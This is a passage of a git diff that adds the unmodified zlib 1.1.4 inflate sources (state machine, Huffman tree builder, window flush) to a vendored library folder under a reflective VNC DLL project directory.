{{{0,9}},175}, + {{{0,8}},7}, {{{0,8}},135}, {{{0,8}},71}, {{{0,9}},239}, + {{{80,7}},9}, {{{0,8}},95}, {{{0,8}},31}, {{{0,9}},159}, + {{{84,7}},99}, {{{0,8}},127}, {{{0,8}},63}, {{{0,9}},223}, + {{{82,7}},27}, {{{0,8}},111}, {{{0,8}},47}, {{{0,9}},191}, + {{{0,8}},15}, {{{0,8}},143}, {{{0,8}},79}, {{{0,9}},255} + }; +local inflate_huft fixed_td[] = { + {{{80,5}},1}, {{{87,5}},257}, {{{83,5}},17}, {{{91,5}},4097}, + {{{81,5}},5}, {{{89,5}},1025}, {{{85,5}},65}, {{{93,5}},16385}, + {{{80,5}},3}, {{{88,5}},513}, {{{84,5}},33}, {{{92,5}},8193}, + {{{82,5}},9}, {{{90,5}},2049}, {{{86,5}},129}, {{{192,5}},24577}, + {{{80,5}},2}, {{{87,5}},385}, {{{83,5}},25}, {{{91,5}},6145}, + {{{81,5}},7}, {{{89,5}},1537}, {{{85,5}},97}, {{{93,5}},24577}, + {{{80,5}},4}, {{{88,5}},769}, {{{84,5}},49}, {{{92,5}},12289}, + {{{82,5}},13}, {{{90,5}},3073}, {{{86,5}},193}, {{{192,5}},24577} + }; diff --git a/external/source/reflective_vncdll/zlib/inflate.c b/external/source/reflective_vncdll/zlib/inflate.c new file mode 100644 index 0000000000..5577e0203d --- /dev/null +++ b/external/source/reflective_vncdll/zlib/inflate.c @@ -0,0 +1,366 @@ +/* inflate.c -- zlib interface to inflate modules + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +#include "zutil.h" +#include "infblock.h" + +struct inflate_blocks_state {int dummy;}; /* for buggy compilers */ + +typedef enum { + METHOD, /* waiting for method byte */ + FLAG, /* waiting for flag byte */ + DICT4, /* four dictionary check bytes to go */ + DICT3, /* three dictionary check bytes to go */ + DICT2, /* two dictionary check bytes to go */ + DICT1, /* one dictionary check byte to go */ + DICT0, /* waiting for inflateSetDictionary */ + BLOCKS, /* decompressing blocks */ + CHECK4, /* four check bytes to go */ + CHECK3, /* three check bytes to go */ + CHECK2, /* two check bytes to go */ + CHECK1, /* one check byte to go */ + DONE, /* finished check, done */ + BAD} /* got an error--stay here */ +inflate_mode; + +/* inflate private state */ +struct internal_state { + + /* mode */ + inflate_mode mode; /* current inflate mode */ + + /* mode dependent information */ + union { + uInt method; /* if FLAGS, method byte */ + struct { + uLong was; /* computed check value */ + uLong need; /* stream check value */ + } check; /* if CHECK, check values to compare */ + uInt marker; /* if BAD, inflateSync's marker bytes count */ + } sub; /* submode */ + + /* mode independent information */ + int nowrap; /* flag for no wrapper */ + uInt wbits; /* log2(window size) (8..15, defaults to 15) */ + inflate_blocks_statef + *blocks; /* current inflate_blocks state */ + +}; + + +int ZEXPORT inflateReset(z) +z_streamp z; +{ + if (z == Z_NULL || z->state == Z_NULL) + return Z_STREAM_ERROR; + z->total_in = z->total_out = 0; + z->msg = Z_NULL; + z->state->mode = z->state->nowrap ? BLOCKS : METHOD; + inflate_blocks_reset(z->state->blocks, z, Z_NULL); + Tracev((stderr, "inflate: reset\n")); + return Z_OK; +} + + +int ZEXPORT inflateEnd(z) +z_streamp z; +{ + if (z == Z_NULL || z->state == Z_NULL || z->zfree == Z_NULL) + return Z_STREAM_ERROR; + if (z->state->blocks != Z_NULL) + inflate_blocks_free(z->state->blocks, z); + ZFREE(z, z->state); + z->state = Z_NULL; + Tracev((stderr, "inflate: end\n")); + return Z_OK; +} + + +int ZEXPORT inflateInit2_(z, w, version, stream_size) +z_streamp z; +int w; +const char *version; +int stream_size; +{ + if (version == Z_NULL || version[0] != ZLIB_VERSION[0] || + stream_size != sizeof(z_stream)) + return Z_VERSION_ERROR; + + /* initialize state */ + if (z == Z_NULL) + return Z_STREAM_ERROR; + z->msg = Z_NULL; + if (z->zalloc == Z_NULL) + { + z->zalloc = zcalloc; + z->opaque = (voidpf)0; + } + if (z->zfree == Z_NULL) z->zfree = zcfree; + if ((z->state = (struct internal_state FAR *) + ZALLOC(z,1,sizeof(struct internal_state))) == Z_NULL) + return Z_MEM_ERROR; + z->state->blocks = Z_NULL; + + /* handle undocumented nowrap option (no zlib header or check) */ + z->state->nowrap = 0; + if (w < 0) + { + w = - w; + z->state->nowrap = 1; + } + + /* set window size */ + if (w < 8 || w > 15) + { + inflateEnd(z); + return Z_STREAM_ERROR; + } + z->state->wbits = (uInt)w; + + /* create inflate_blocks state */ + if ((z->state->blocks = + inflate_blocks_new(z, z->state->nowrap ? Z_NULL : adler32, (uInt)1 << w)) + == Z_NULL) + { + inflateEnd(z); + return Z_MEM_ERROR; + } + Tracev((stderr, "inflate: allocated\n")); + + /* reset state */ + inflateReset(z); + return Z_OK; +} + + +int ZEXPORT inflateInit_(z, version, stream_size) +z_streamp z; +const char *version; +int stream_size; +{ + return inflateInit2_(z, DEF_WBITS, version, stream_size); +} + + +#define NEEDBYTE {if(z->avail_in==0)return r;r=f;} +#define NEXTBYTE (z->avail_in--,z->total_in++,*z->next_in++) + +int ZEXPORT inflate(z, f) +z_streamp z; +int f; +{ + int r; + uInt b; + + if (z == Z_NULL || z->state == Z_NULL || z->next_in == Z_NULL) + return Z_STREAM_ERROR; + f = f == Z_FINISH ? Z_BUF_ERROR : Z_OK; + r = Z_BUF_ERROR; + while (1) switch (z->state->mode) + { + case METHOD: + NEEDBYTE + if (((z->state->sub.method = NEXTBYTE) & 0xf) != Z_DEFLATED) + { + z->state->mode = BAD; + z->msg = (char*)"unknown compression method"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + if ((z->state->sub.method >> 4) + 8 > z->state->wbits) + { + z->state->mode = BAD; + z->msg = (char*)"invalid window size"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + z->state->mode = FLAG; + case FLAG: + NEEDBYTE + b = NEXTBYTE; + if (((z->state->sub.method << 8) + b) % 31) + { + z->state->mode = BAD; + z->msg = (char*)"incorrect header check"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + Tracev((stderr, "inflate: zlib header ok\n")); + if (!(b & PRESET_DICT)) + { + z->state->mode = BLOCKS; + break; + } + z->state->mode = DICT4; + case DICT4: + NEEDBYTE + z->state->sub.check.need = (uLong)NEXTBYTE << 24; + z->state->mode = DICT3; + case DICT3: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 16; + z->state->mode = DICT2; + case DICT2: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 8; + z->state->mode = DICT1; + case DICT1: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE; + z->adler = z->state->sub.check.need; + z->state->mode = DICT0; + return Z_NEED_DICT; + case DICT0: + z->state->mode = BAD; + z->msg = (char*)"need dictionary"; + z->state->sub.marker = 0; /* can try inflateSync */ + return Z_STREAM_ERROR; + case BLOCKS: + r = inflate_blocks(z->state->blocks, z, r); + if (r == Z_DATA_ERROR) + { + z->state->mode = BAD; + z->state->sub.marker = 0; /* can try inflateSync */ + break; + } + if (r == Z_OK) + r = f; + if (r != Z_STREAM_END) + return r; + r = f; + inflate_blocks_reset(z->state->blocks, z, &z->state->sub.check.was); + if (z->state->nowrap) + { + z->state->mode = DONE; + break; + } + z->state->mode = CHECK4; + case CHECK4: + NEEDBYTE + z->state->sub.check.need = (uLong)NEXTBYTE << 24; + z->state->mode = CHECK3; + case CHECK3: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 16; + z->state->mode = CHECK2; + case CHECK2: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 8; + z->state->mode = CHECK1; + case CHECK1: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE; + + if (z->state->sub.check.was != z->state->sub.check.need) + { + z->state->mode = BAD; + z->msg = (char*)"incorrect data check"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + Tracev((stderr, "inflate: zlib check ok\n")); + z->state->mode = DONE; + case DONE: + return Z_STREAM_END; + case BAD: + return Z_DATA_ERROR; + default: + return Z_STREAM_ERROR; + } +#ifdef NEED_DUMMY_RETURN + return Z_STREAM_ERROR; /* Some dumb compilers complain without this */ +#endif +} + + +int ZEXPORT inflateSetDictionary(z, dictionary, dictLength) +z_streamp z; +const Bytef *dictionary; +uInt dictLength; +{ + uInt length = dictLength; + + if (z == Z_NULL || z->state == Z_NULL || z->state->mode != DICT0) + return Z_STREAM_ERROR; + + if (adler32(1L, dictionary, dictLength) != z->adler) return Z_DATA_ERROR; + z->adler = 1L; + + if (length >= ((uInt)1<state->wbits)) + { + length = (1<state->wbits)-1; + dictionary += dictLength - length; + } + inflate_set_dictionary(z->state->blocks, dictionary, length); + z->state->mode = BLOCKS; + return Z_OK; +} + + +int ZEXPORT inflateSync(z) +z_streamp z; +{ + uInt n; /* number of bytes to look at */ + Bytef *p; /* pointer to bytes */ + uInt m; /* number of marker bytes found in a row */ + uLong r, w; /* temporaries to save total_in and total_out */ + + /* set up */ + if (z == Z_NULL || z->state == Z_NULL) + return Z_STREAM_ERROR; + if (z->state->mode != BAD) + { + z->state->mode = BAD; + z->state->sub.marker = 0; + } + if ((n = z->avail_in) == 0) + return Z_BUF_ERROR; + p = z->next_in; + m = z->state->sub.marker; + + /* search */ + while (n && m < 4) + { + static const Byte mark[4] = {0, 0, 0xff, 0xff}; + if (*p == mark[m]) + m++; + else if (*p) + m = 0; + else + m = 4 - m; + p++, n--; + } + + /* restore */ + z->total_in += p - z->next_in; + z->next_in = p; + z->avail_in = n; + z->state->sub.marker = m; + + /* return no joy or set up to restart on a new block */ + if (m != 4) + return Z_DATA_ERROR; + r = z->total_in; w = z->total_out; + inflateReset(z); + z->total_in = r; z->total_out = w; + z->state->mode = BLOCKS; + return Z_OK; +} + + +/* Returns true if inflate is currently at the end of a block generated + * by Z_SYNC_FLUSH or Z_FULL_FLUSH. This function is used by one PPP + * implementation to provide an additional safety check. PPP uses Z_SYNC_FLUSH + * but removes the length bytes of the resulting empty stored block. When + * decompressing, PPP checks that at the end of input packet, inflate is + * waiting for these length bytes. + */ +int ZEXPORT inflateSyncPoint(z) +z_streamp z; +{ + if (z == Z_NULL || z->state == Z_NULL || z->state->blocks == Z_NULL) + return Z_STREAM_ERROR; + return inflate_blocks_sync_point(z->state->blocks); +} diff --git a/external/source/reflective_vncdll/zlib/inftrees.c b/external/source/reflective_vncdll/zlib/inftrees.c new file mode 100644 index 0000000000..f89e801f3a --- /dev/null +++ b/external/source/reflective_vncdll/zlib/inftrees.c @@ -0,0 +1,454 @@ +/* inftrees.c -- generate Huffman trees for efficient decoding + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +#include "zutil.h" +#include "inftrees.h" + +#if !defined(BUILDFIXED) && !defined(STDC) +# define BUILDFIXED /* non ANSI compilers may not accept inffixed.h */ +#endif + +const char inflate_copyright[] = + " inflate 1.1.4 Copyright 1995-2002 Mark Adler "; +/* + If you use the zlib library in a product, an acknowledgment is welcome + in the documentation of your product. If for some reason you cannot + include such an acknowledgment, I would appreciate that you keep this + copyright string in the executable of your product. + */ +struct internal_state {int dummy;}; /* for buggy compilers */ + +/* simplify the use of the inflate_huft type with some defines */ +#define exop word.what.Exop +#define bits word.what.Bits + + +local int huft_build OF(( + uIntf *, /* code lengths in bits */ + uInt, /* number of codes */ + uInt, /* number of "simple" codes */ + const uIntf *, /* list of base values for non-simple codes */ + const uIntf *, /* list of extra bits for non-simple codes */ + inflate_huft * FAR*,/* result: starting table */ + uIntf *, /* maximum lookup bits (returns actual) */ + inflate_huft *, /* space for trees */ + uInt *, /* hufts used in space */ + uIntf * )); /* space for values */ + +/* Tables for deflate from PKZIP's appnote.txt. */ +local const uInt cplens[31] = { /* Copy lengths for literal codes 257..285 */ + 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, + 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0}; + /* see note #13 above about 258 */ +local const uInt cplext[31] = { /* Extra bits for literal codes 257..285 */ + 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, + 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, 112}; /* 112==invalid */ +local const uInt cpdist[30] = { /* Copy offsets for distance codes 0..29 */ + 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, + 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, + 8193, 12289, 16385, 24577}; +local const uInt cpdext[30] = { /* Extra bits for distance codes */ + 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, + 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, + 12, 12, 13, 13}; + +/* + Huffman code decoding is performed using a multi-level table lookup. + The fastest way to decode is to simply build a lookup table whose + size is determined by the longest code. However, the time it takes + to build this table can also be a factor if the data being decoded + is not very long. The most common codes are necessarily the + shortest codes, so those codes dominate the decoding time, and hence + the speed. The idea is you can have a shorter table that decodes the + shorter, more probable codes, and then point to subsidiary tables for + the longer codes. The time it costs to decode the longer codes is + then traded against the time it takes to make longer tables. + + This results of this trade are in the variables lbits and dbits + below. lbits is the number of bits the first level table for literal/ + length codes can decode in one step, and dbits is the same thing for + the distance codes. Subsequent tables are also less than or equal to + those sizes. These values may be adjusted either when all of the + codes are shorter than that, in which case the longest code length in + bits is used, or when the shortest code is *longer* than the requested + table size, in which case the length of the shortest code in bits is + used. + + There are two different values for the two tables, since they code a + different number of possibilities each. The literal/length table + codes 286 possible values, or in a flat code, a little over eight + bits. The distance table codes 30 possible values, or a little less + than five bits, flat. The optimum values for speed end up being + about one bit more than those, so lbits is 8+1 and dbits is 5+1. + The optimum values may differ though from machine to machine, and + possibly even between compilers. Your mileage may vary. + */ + + +/* If BMAX needs to be larger than 16, then h and x[] should be uLong. */ +#define BMAX 15 /* maximum bit length of any code */ + +local int huft_build(b, n, s, d, e, t, m, hp, hn, v) +uIntf *b; /* code lengths in bits (all assumed <= BMAX) */ +uInt n; /* number of codes (assumed <= 288) */ +uInt s; /* number of simple-valued codes (0..s-1) */ +const uIntf *d; /* list of base values for non-simple codes */ +const uIntf *e; /* list of extra bits for non-simple codes */ +inflate_huft * FAR *t; /* result: starting table */ +uIntf *m; /* maximum lookup bits, returns actual */ +inflate_huft *hp; /* space for trees */ +uInt *hn; /* hufts used in space */ +uIntf *v; /* working area: values in order of bit length */ +/* Given a list of code lengths and a maximum table size, make a set of + tables to decode that set of codes. Return Z_OK on success, Z_BUF_ERROR + if the given code set is incomplete (the tables are still built in this + case), or Z_DATA_ERROR if the input is invalid. */ +{ + + uInt a; /* counter for codes of length k */ + uInt c[BMAX+1]; /* bit length count table */ + uInt f; /* i repeats in table every f entries */ + int g; /* maximum code length */ + int h; /* table level */ + register uInt i; /* counter, current code */ + register uInt j; /* counter */ + register int k; /* number of bits in current code */ + int l; /* bits per table (returned in m) */ + uInt mask; /* (1 << w) - 1, to avoid cc -O bug on HP */ + register uIntf *p; /* pointer into c[], b[], or v[] */ + inflate_huft *q; /* points to current table */ + struct inflate_huft_s r; /* table entry for structure assignment */ + inflate_huft *u[BMAX]; /* table stack */ + register int w; /* bits before this table == (l * h) */ + uInt x[BMAX+1]; /* bit offsets, then code stack */ + uIntf *xp; /* pointer into x */ + int y; /* number of dummy codes added */ + uInt z; /* number of entries in current table */ + + + /* Generate counts for each bit length */ + p = c; +#define C0 *p++ = 0; +#define C2 C0 C0 C0 C0 +#define C4 C2 C2 C2 C2 + C4 /* clear c[]--assume BMAX+1 is 16 */ + p = b; i = n; + do { + c[*p++]++; /* assume all entries <= BMAX */ + } while (--i); + if (c[0] == n) /* null input--all zero length codes */ + { + *t = (inflate_huft *)Z_NULL; + *m = 0; + return Z_OK; + } + + + /* Find minimum and maximum length, bound *m by those */ + l = *m; + for (j = 1; j <= BMAX; j++) + if (c[j]) + break; + k = j; /* minimum code length */ + if ((uInt)l < j) + l = j; + for (i = BMAX; i; i--) + if (c[i]) + break; + g = i; /* maximum code length */ + if ((uInt)l > i) + l = i; + *m = l; + + + /* Adjust last length count to fill out codes, if needed */ + for (y = 1 << j; j < i; j++, y <<= 1) + if ((y -= c[j]) < 0) + return Z_DATA_ERROR; + if ((y -= c[i]) < 0) + return Z_DATA_ERROR; + c[i] += y; + + + /* Generate starting offsets into the value table for each length */ + x[1] = j = 0; + p = c + 1; xp = x + 2; + while (--i) { /* note that i == g from above */ + *xp++ = (j += *p++); + } + + + /* Make a table of values in order of bit lengths */ + p = b; i = 0; + do { + if ((j = *p++) != 0) + v[x[j]++] = i; + } while (++i < n); + n = x[g]; /* set n to length of v */ + + + /* Generate the Huffman codes and for each, make the table entries */ + x[0] = i = 0; /* first Huffman code is zero */ + p = v; /* grab values in bit order */ + h = -1; /* no tables yet--level -1 */ + w = -l; /* bits decoded == (l * h) */ + u[0] = (inflate_huft *)Z_NULL; /* just to keep compilers happy */ + q = (inflate_huft *)Z_NULL; /* ditto */ + z = 0; /* ditto */ + + /* go through the bit lengths (k already is bits in shortest code) */ + for (; k <= g; k++) + { + a = c[k]; + while (a--) + { + /* here i is the Huffman code of length k bits for value *p */ + /* make tables up to required level */ + while (k > w + l) + { + h++; + w += l; /* previous table always l bits */ + + /* compute minimum size table less than or equal to l bits */ + z = g - w; + z = z > (uInt)l ? l : z; /* table size upper limit */ + if ((f = 1 << (j = k - w)) > a + 1) /* try a k-w bit table */ + { /* too few codes for k-w bit table */ + f -= a + 1; /* deduct codes from patterns left */ + xp = c + k; + if (j < z) + while (++j < z) /* try smaller tables up to z bits */ + { + if ((f <<= 1) <= *++xp) + break; /* enough codes to use up j bits */ + f -= *xp; /* else deduct codes from patterns */ + } + } + z = 1 << j; /* table entries for j-bit table */ + + /* allocate new table */ + if (*hn + z > MANY) /* (note: doesn't matter for fixed) */ + return Z_DATA_ERROR; /* overflow of MANY */ + u[h] = q = hp + *hn; + *hn += z; + + /* connect to last table, if there is one */ + if (h) + { + x[h] = i; /* save pattern for backing up */ + r.bits = (Byte)l; /* bits to dump before this table */ + r.exop = (Byte)j; /* bits in this table */ + j = i >> (w - l); + r.base = (uInt)(q - u[h-1] - j); /* offset to this table */ + u[h-1][j] = r; /* connect to last table */ + } + else + *t = q; /* first table is returned result */ + } + + /* set up table entry in r */ + r.bits = (Byte)(k - w); + if (p >= v + n) + r.exop = 128 + 64; /* out of values--invalid code */ + else if (*p < s) + { + r.exop = (Byte)(*p < 256 ? 0 : 32 + 64); /* 256 is end-of-block */ + r.base = *p++; /* simple code is just the value */ + } + else + { + r.exop = (Byte)(e[*p - s] + 16 + 64);/* non-simple--look up in lists */ + r.base = d[*p++ - s]; + } + + /* fill code-like entries with r */ + f = 1 << (k - w); + for (j = i >> w; j < z; j += f) + q[j] = r; + + /* backwards increment the k-bit code i */ + for (j = 1 << (k - 1); i & j; j >>= 1) + i ^= j; + i ^= j; + + /* backup over finished tables */ + mask = (1 << w) - 1; /* needed on HP, cc -O bug */ + while ((i & mask) != x[h]) + { + h--; /* don't need to update q */ + w -= l; + mask = (1 << w) - 1; + } + } + } + + + /* Return Z_BUF_ERROR if we were given an incomplete table */ + return y != 0 && g != 1 ? Z_BUF_ERROR : Z_OK; +} + + +int inflate_trees_bits(c, bb, tb, hp, z) +uIntf *c; /* 19 code lengths */ +uIntf *bb; /* bits tree desired/actual depth */ +inflate_huft * FAR *tb; /* bits tree result */ +inflate_huft *hp; /* space for trees */ +z_streamp z; /* for messages */ +{ + int r; + uInt hn = 0; /* hufts used in space */ + uIntf *v; /* work area for huft_build */ + + if ((v = (uIntf*)ZALLOC(z, 19, sizeof(uInt))) == Z_NULL) + return Z_MEM_ERROR; + r = huft_build(c, 19, 19, (uIntf*)Z_NULL, (uIntf*)Z_NULL, + tb, bb, hp, &hn, v); + if (r == Z_DATA_ERROR) + z->msg = (char*)"oversubscribed dynamic bit lengths tree"; + else if (r == Z_BUF_ERROR || *bb == 0) + { + z->msg = (char*)"incomplete dynamic bit lengths tree"; + r = Z_DATA_ERROR; + } + ZFREE(z, v); + return r; +} + + +int inflate_trees_dynamic(nl, nd, c, bl, bd, tl, td, hp, z) +uInt nl; /* number of literal/length codes */ +uInt nd; /* number of distance codes */ +uIntf *c; /* that many (total) code lengths */ +uIntf *bl; /* literal desired/actual bit depth */ +uIntf *bd; /* distance desired/actual bit depth */ +inflate_huft * FAR *tl; /* literal/length tree result */ +inflate_huft * FAR *td; /* distance tree result */ +inflate_huft *hp; /* space for trees */ +z_streamp z; /* for messages */ +{ + int r; + uInt hn = 0; /* hufts used in space */ + uIntf *v; /* work area for huft_build */ + + /* allocate work area */ + if ((v = (uIntf*)ZALLOC(z, 288, sizeof(uInt))) == Z_NULL) + return Z_MEM_ERROR; + + /* build literal/length tree */ + r = huft_build(c, nl, 257, cplens, cplext, tl, bl, hp, &hn, v); + if (r != Z_OK || *bl == 0) + { + if (r == Z_DATA_ERROR) + z->msg = (char*)"oversubscribed literal/length tree"; + else if (r != Z_MEM_ERROR) + { + z->msg = (char*)"incomplete literal/length tree"; + r = Z_DATA_ERROR; + } + ZFREE(z, v); + return r; + } + + /* build distance tree */ + r = huft_build(c + nl, nd, 0, cpdist, cpdext, td, bd, hp, &hn, v); + if (r != Z_OK || (*bd == 0 && nl > 257)) + { + if (r == Z_DATA_ERROR) + z->msg = (char*)"oversubscribed distance tree"; + else if (r == Z_BUF_ERROR) { +#ifdef PKZIP_BUG_WORKAROUND + r = Z_OK; + } +#else + z->msg = (char*)"incomplete distance tree"; + r = Z_DATA_ERROR; + } + else if (r != Z_MEM_ERROR) + { + z->msg = (char*)"empty distance tree with lengths"; + r = Z_DATA_ERROR; + } + ZFREE(z, v); + return r; +#endif + } + + /* done */ + ZFREE(z, v); + return Z_OK; +} + + +/* build fixed tables only once--keep them here */ +#ifdef BUILDFIXED +local int fixed_built = 0; +#define FIXEDH 544 /* number of hufts used by fixed tables */ +local inflate_huft fixed_mem[FIXEDH]; +local uInt fixed_bl; +local uInt fixed_bd; +local inflate_huft *fixed_tl; +local inflate_huft *fixed_td; +#else +#include "inffixed.h" +#endif + + +int inflate_trees_fixed(bl, bd, tl, td, z) +uIntf *bl; /* literal desired/actual bit depth */ +uIntf *bd; /* distance desired/actual bit depth */ +inflate_huft * FAR *tl; /* literal/length tree result */ +inflate_huft * FAR *td; /* distance tree result */ +z_streamp z; /* for memory allocation */ +{ +#ifdef BUILDFIXED + /* build fixed tables if not already */ + if (!fixed_built) + { + int k; /* temporary variable */ + uInt f = 0; /* number of hufts used in fixed_mem */ + uIntf *c; /* length list for huft_build */ + uIntf *v; /* work area for huft_build */ + + /* allocate memory */ + if ((c = (uIntf*)ZALLOC(z, 288, sizeof(uInt))) == Z_NULL) + return Z_MEM_ERROR; + if ((v = (uIntf*)ZALLOC(z, 288, sizeof(uInt))) == Z_NULL) + { + ZFREE(z, c); + return Z_MEM_ERROR; + } + + /* literal table */ + for (k = 0; k < 144; k++) + c[k] = 8; + for (; k < 256; k++) + c[k] = 9; + for (; k < 280; k++) + c[k] = 7; + for (; k < 288; k++) + c[k] = 8; + fixed_bl = 9; + huft_build(c, 288, 257, cplens, cplext, &fixed_tl, &fixed_bl, + fixed_mem, &f, v); + + /* distance table */ + for (k = 0; k < 30; k++) + c[k] = 5; + fixed_bd = 5; + huft_build(c, 30, 0, cpdist, cpdext, &fixed_td, &fixed_bd, + fixed_mem, &f, v); + + /* done */ + ZFREE(z, v); + ZFREE(z, c); + fixed_built = 1; + } +#endif + *bl = fixed_bl; + *bd = fixed_bd; + *tl = fixed_tl; + *td = fixed_td; + return Z_OK; +} diff --git a/external/source/reflective_vncdll/zlib/inftrees.h b/external/source/reflective_vncdll/zlib/inftrees.h new file mode 100644 index 0000000000..affbb3b214 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/inftrees.h @@ -0,0 +1,58 @@ +/* inftrees.h -- header to use inftrees.c + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* Huffman code lookup table entry--this entry is four bytes for machines + that have 16-bit pointers (e.g. PC's in the small or medium model). */ + +typedef struct inflate_huft_s FAR inflate_huft; + +struct inflate_huft_s { + union { + struct { + Byte Exop; /* number of extra bits or operation */ + Byte Bits; /* number of bits in this code or subcode */ + } what; + uInt pad; /* pad structure to a power of 2 (4 bytes for */ + } word; /* 16-bit, 8 bytes for 32-bit int's) */ + uInt base; /* literal, length base, distance base, + or table offset */ +}; + +/* Maximum size of dynamic tree. The maximum found in a long but non- + exhaustive search was 1004 huft structures (850 for length/literals + and 154 for distances, the latter actually the result of an + exhaustive search). The actual maximum is not known, but the + value below is more than safe. */ +#define MANY 1440 + +extern int inflate_trees_bits OF(( + uIntf *, /* 19 code lengths */ + uIntf *, /* bits tree desired/actual depth */ + inflate_huft * FAR *, /* bits tree result */ + inflate_huft *, /* space for trees */ + z_streamp)); /* for messages */ + +extern int inflate_trees_dynamic OF(( + uInt, /* number of literal/length codes */ + uInt, /* number of distance codes */ + uIntf *, /* that many (total) code lengths */ + uIntf *, /* literal desired/actual bit depth */ + uIntf *, /* distance desired/actual bit depth */ + inflate_huft * FAR *, /* literal/length tree result */ + inflate_huft * FAR *, /* distance tree result */ + inflate_huft *, /* space for trees */ + z_streamp)); /* for messages */ + +extern int inflate_trees_fixed OF(( + uIntf *, /* literal desired/actual bit depth */ + uIntf *, /* distance desired/actual bit depth */ + inflate_huft * FAR *, /* literal/length tree result */ + inflate_huft * FAR *, /* distance tree result */ + z_streamp)); /* for memory allocation */ diff --git a/external/source/reflective_vncdll/zlib/infutil.c b/external/source/reflective_vncdll/zlib/infutil.c new file mode 100644 index 0000000000..976d5e5217 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/infutil.c @@ -0,0 +1,87 @@ +/* inflate_util.c -- data and routines common to blocks and codes + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +#include "zutil.h" +#include "infblock.h" +#include "inftrees.h" +#include "infcodes.h" +#include "infutil.h" + +struct inflate_codes_state {int dummy;}; /* for buggy compilers */ + +/* And'ing with mask[n] masks the lower n bits */ +uInt inflate_mask[17] = { + 0x0000, + 0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff, + 0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff +}; + + +/* copy as much as possible from the sliding window to the output area */ +int inflate_flush(s, z, r) +inflate_blocks_statef *s; +z_streamp z; +int r; +{ + uInt n; + Bytef *p; + Bytef *q; + + /* local copies of source and destination pointers */ + p = z->next_out; + q = s->read; + + /* compute number of bytes to copy as far as end of window */ + n = (uInt)((q <= s->write ? s->write : s->end) - q); + if (n > z->avail_out) n = z->avail_out; + if (n && r == Z_BUF_ERROR) r = Z_OK; + + /* update counters */ + z->avail_out -= n; + z->total_out += n; + + /* update check information */ + if (s->checkfn != Z_NULL) + z->adler = s->check = (*s->checkfn)(s->check, q, n); + + /* copy as far as end of window */ + zmemcpy(p, q, n); + p += n; + q += n; + + /* see if more to copy at beginning of window */ + if (q == s->end) + { + /* wrap pointers */ + q = s->window; + if (s->write == s->end) + s->write = s->window; + + /* compute bytes to copy */ + n = (uInt)(s->write - q); + if (n > z->avail_out) n = z->avail_out; + if (n && r == Z_BUF_ERROR) r = Z_OK; + + /* update counters */ + z->avail_out -= n; + z->total_out += n; + + /* update check information */ + if (s->checkfn != Z_NULL) + z->adler = s->check = (*s->checkfn)(s->check, q, n); + + /* copy */ + zmemcpy(p, q, n); + p += n; + q += n; + } + + /* update pointers */ + z->next_out = p; + s->read = q; + + /* done */ + return r; +} diff --git a/external/source/reflective_vncdll/zlib/infutil.h b/external/source/reflective_vncdll/zlib/infutil.h new file mode 100644 index 0000000000..0c0ace3663 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/infutil.h @@ -0,0 +1,98 @@ +/* infutil.h -- types and macros common to blocks and codes + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +#ifndef _INFUTIL_H +#define _INFUTIL_H + +typedef enum { + TYPE, /* get type bits (3, including end bit) */ + LENS, /* get lengths for stored */ + STORED, /* processing stored block */ + TABLE, /* get table lengths */ + BTREE, /* get bit lengths tree for a dynamic block */ + DTREE, /* get length, distance trees for a dynamic block */ + CODES, /* processing fixed or dynamic block */ + DRY, /* output remaining window bytes */ + DONE, /* finished last block, done */ + BAD} /* got a data error--stuck here */ +inflate_block_mode; + +/* inflate blocks semi-private state */ +struct inflate_blocks_state { + + /* mode */ + inflate_block_mode mode; /* current inflate_block mode */ + + /* mode dependent information */ + union { + uInt left; /* if STORED, bytes left to copy */ + struct { + uInt table; /* table lengths (14 bits) */ + uInt index; /* index into blens (or border) */ + uIntf *blens; /* bit lengths of codes */ + uInt bb; /* bit length tree depth */ + inflate_huft *tb; /* bit length decoding tree */ + } trees; /* if DTREE, decoding info for trees */ + struct { + inflate_codes_statef + *codes; + } decode; /* if CODES, current state */ + } sub; /* submode */ + uInt last; /* true if this block is the last block */ + + /* mode independent information */ + uInt bitk; /* bits in bit buffer */ + uLong bitb; /* bit buffer */ + inflate_huft *hufts; /* single malloc for tree space */ + Bytef *window; /* sliding window */ + Bytef *end; /* one byte after sliding window */ + Bytef *read; /* window read 